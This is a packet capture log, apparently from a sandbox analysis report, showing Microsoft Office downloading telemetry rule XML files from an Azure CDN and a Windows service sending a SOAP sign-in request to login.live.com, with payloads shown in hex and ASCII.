2024-11-07 22:47:39 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0386aeb1-901e-007b-0d55-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224739Z-15869dbbcc6bdtw9hC1DFW9m4s00000000y00000000023gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:39 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:40 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 2fadba2e-601e-0070-7603-2fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224740Z-17df447cdb5c9wvxhC1DFWn08n000000058000000000arct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:40 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:40 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224740Z-16547b76f7fq9mcrhC1DFWq15w00000008v0000000001p03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:40 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:40 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224740Z-16547b76f7fp46ndhC1DFW66zg00000008t000000000hnz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:40 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:40 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ea775dbe-901e-0016-4f03-2defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224740Z-16547b76f7fm7xw6hC1DFW5px400000008r0000000009r2w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:40 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bf74e669-f01e-001f-5b5f-2e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224740Z-15869dbbcc6rmhmhhC1DFWr8y000000000w0000000004yzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:40 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:40 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 4b06b021-701e-000d-6755-2e6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224740Z-17df447cdb5rrj6shC1DFW6qg400000005200000000018xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:40 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49843	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-07 22:47:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BAY x-ms-request-id: 9b0ccaf2-6132-4c54-a5dd-7e230cf9d137 PPServer: PPV: 30 H: PH1PEPF00012039 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:41 GMT Connection: close Content-Length: 11412
2024-11-07 22:47:41 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:41 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:41 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 6ec68482-201e-005d-0ace-2fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224741Z-15869dbbcc6b2ncxhC1DFW2ztg00000002n0000000001pqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:41 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:41 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 898dd9bc-901e-0048-53d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224741Z-16547b76f7fcrtpchC1DFW52e800000008t000000000k466 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:41 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:41 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224741Z-16547b76f7fwvr5dhC1DFW2c9400000008hg00000000yvr8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
